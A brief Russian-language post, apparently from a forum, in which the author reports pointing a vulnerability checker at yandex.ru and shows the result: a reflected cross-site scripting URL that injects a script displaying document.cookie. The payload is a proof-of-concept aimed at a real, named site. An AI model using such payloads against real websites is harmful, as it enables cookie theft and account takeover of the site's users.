Решил только что в свой чекер уязвимостей для прикола вписать yandex.ru. Вот что получилось
http://yandex.ru/?text="><script>alert(document.cookie)</script>